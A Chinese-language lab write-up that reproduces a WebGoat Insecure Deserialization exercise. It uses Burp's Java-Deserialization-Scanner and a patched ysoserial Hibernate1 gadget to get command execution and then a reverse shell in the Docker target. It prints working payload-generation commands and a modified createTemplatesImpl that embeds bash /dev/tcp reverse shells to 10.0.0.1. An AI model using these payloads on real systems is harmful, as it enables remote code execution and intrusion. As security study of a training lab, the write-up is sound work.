在腾讯玄武安全实验室的日常推送上面看到了 Java 反序列化 - 如何在受限环境下一步步获取反向 Shell ,觉得非常地有意思。复现并研究了一下。本文就是差不多是对这篇文章的复现和翻译的集合体。
整篇文章的背景很简单。Webgoat的靶场中提供了一个 Insecure Deserialization 的学习示例,这个题目的本意只是要求我们通过反序列化漏洞使页面的响应延迟,但是我们能够利用反序列化漏洞得到靶场Docker环境的Shell。
本漏洞的环境采用的是Docker的环境。根据官方的提示 WebGoat 8 ,运行
docker pull webgoat/webgoat-8.0 docker run -p 8080:8080 -it webgoat/webgoat-8.0 /home/webgoat/start.sh
执行完毕之后,显示如下(由于输出较多,图中仅仅显示部分信息):
访问 http://localhost:8080/WebGoat ,如果能够正常访问,说明环境搭建成功。
根据题目的含义:
题目的要求是我们需要在Token中输入我们序列化之后经过bashe64编码的Payload使页面响应延迟。
为了测试是否存在反序列化漏洞,我们可以使用Burp上面的反序列化漏洞扫描插件 Java-Deserialization-Scanner 。 Java-Deserialization 的安装参考 installation 、使用可以参考 Burp Suite扩展之Java-Deserialization-Scanner 、 Burp Suite 反序列化插件 Java Deserialization Scanner
使用Burp截取请求包,如下:
使用 Java-Deserialization-Scanner 进行扫描, 由于payload需要进行Bash64编码,所以在测试时我们需要选择 Attack(base64) ,否则是无法扫描出漏洞的
经过测试,我们发现存在 Hibernate 的反序列化漏洞。
扫描发现是存在 Hibernate 的反序列化漏洞,于是我们尝试利用。 Java-Deserialization-Scanner 是通过 ysoserial 生成Payload的。 ysoserial usage 中是存在Hibernate的Payload的。所以我们利用 ysoserial ,执行 Hibernate1 whoami 。
发现出现 ERROR IN YSOSERIAL COMMAND. SEE STDERR FOR DETAILS 错误,进入到 Java-Deserialization-Scanner 查看错误详情,
具体的错误信息是:
Error while generating or serializing payload java.lang.ClassNotFoundException: org.hibernate.property.access.spi.Getter at java.net.URLClassLoader.findClass(URLClassLoader.java:381) at java.lang.ClassLoader.loadClass(ClassLoader.java:424) at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:349) at java.lang.ClassLoader.loadClass(ClassLoader.java:357) at java.lang.Class.forName0(Native Method) at java.lang.Class.forName(Class.java:264) at ysoserial.payloads.Hibernate1.makeHibernate5Getter(Hibernate1.java:92) at ysoserial.payloads.Hibernate1.makeGetter(Hibernate1.java:64) at ysoserial.payloads.Hibernate1.getObject(Hibernate1.java:104) at ysoserial.GeneratePayload.main(GeneratePayload.java:34)
此时就非常奇怪了,为什么 Java-Deserialization-Scanner 能够扫描出 Hibernate 的漏洞,但是使用 ysoserial 生成Payload却会出错呢?通过分析源代码,找到 Java-Deserialization-Scanner 的解析方法 BurpExtender.java
发现在 Java-Deserialization-Scanner 的所有的检测逻辑都是硬编码的,那么 ysoserial 生成Payload却会出错的原因就在于 ysoserial 本身了。经过定位分析,发现是在生成 Hibernate Payload时,缺少 javax.el 包,所以我们需要直接下载 ysoserial 的源码然后在 pom.xml 中加入这个包的依赖,最后手动编译。关于这个问题,作者提供提交了一个 pull request 。修改内容如下:
使用maven重新编译代码打包, mvn clean package -DskipTests -Dhibernate5 。如果能够正常打包成功,会在 target 目录下生成 ysoserial-0.0.6-SNAPSHOT.jar 和 ysoserial-0.0.6-SNAPSHOT-all.jar 。
尝试生成payload, java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "touch /tmp/test" | base64 -w0
得到Payload的base64形式。我们利用Burp进行利用
我们通过 docker exec -it <CONTAINER_ID> /bin/bash 进入到Docker容器的内部查看是否生成了 /tmp/test 文件。
发现存在 test 文件,说明我们已经攻击成功。
上一章节中已经确认了漏洞的存在并且利用成功,那么现在就是尝试反弹shell了。
首先我们需要分析一下在 Webgoat 中的 Docker 中能够使用的命令:
发现 Docker 中存在 perl 和 bash 命令。我们就可以利用常见的bash反弹shell, bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 。
之后对 ysoserial 的生成Payload流程进行分析。整个流程如下图所示:
我们最终会进入到 ysoserial.payloads.util.Gadgets::createTemplatesImpl() 中。代码如下:
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
String cmd = "java.lang.Runtime.getRuntime().exec(/"" +
command.replaceAll("////","////////").replaceAll("/"", "///"") +
"/");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
其中生成Payload的关键代码是 String cmd = "java.lang.Runtime.getRuntime().exec(/"" +command.replaceAll("////","////////").replaceAll("/"", "///"") +"/");"; 。其中的 command 就是需要攻击者输入。那么我们就可以直接修改这个 cmd 为我们的的反弹shell。
所以我们需要利用Java的方式执行这种 bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 反弹shell。一般利用方式是:
Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(mycmd);
p.waitFor();
但是我们需要将上述的这个代码变为字符串的形式。所以我们就需要将上述的代码用 " 转为字符串,此时还需要对其中的特殊字符进行转义,最终得到的Payload是:
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{/"/bin/bash/",/"-c/",/"exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do //$line 2>&5 >&5; done/"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
10.0.0.1 就是我们需要的反弹shell的服务器地址,这个需要根据自己的实际情况设定。 修改完毕之后,运行 mvn clean package -DskipTests -Dhibernate5 重新编译 ysoserial 。
得到新的 ysoserial 之后运行 java -Dhibernate5 -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar Hibernate1 "anything" | base64 -w0 ,得到我们的Payload。
利用Burp发送我们生成的Payload尝试反弹shell
已经成功地拿到Docker的shell了。
其实最终作者使用的是:
Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"};
Process p = r.exec(mycmd);
p.waitFor();
不知道为什么没有采用Bash的方式,就是如下这种,感觉这两种应该是一样的:
Runtime r = Runtime.getRuntime();
String [] mycmd = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.0.1/8888 0>&1"};
Process p = r.exec(mycmd);
p.waitFor();
我们将其转为字符串形式,
String cmd = "java.lang.Runtime.getRuntime().exec(new String []{/"/bin/bash/",/"-c/",/"bash -i >& /dev/tcp/10.0.0.1/8888 0>&1/"}).waitFor();";
clazz.makeClassInitializer().insertAfter(cmd);
重新编译运行,得到新的payload。发现同样可以利用:
由于作者发现了在生成 Hibernate 的Payload时出现了问题,于是在 pom.xml 中添加了 javax.el 的依赖并提交了一个 patch 。但是貌似因为出现了一些错误,导致官方目前还没有接受这个pull request。但是具体的错误目前还不清楚,不知道为什么添加一个依赖都会导致 continuous-integration 的问题。
总体来说,整个漏洞的利用比较有趣,在此过程中也学习到了 Java-Deserialization-Scanner 的用法以及在受限环境下利用 ysoserial 反弹shelll的方法。
以上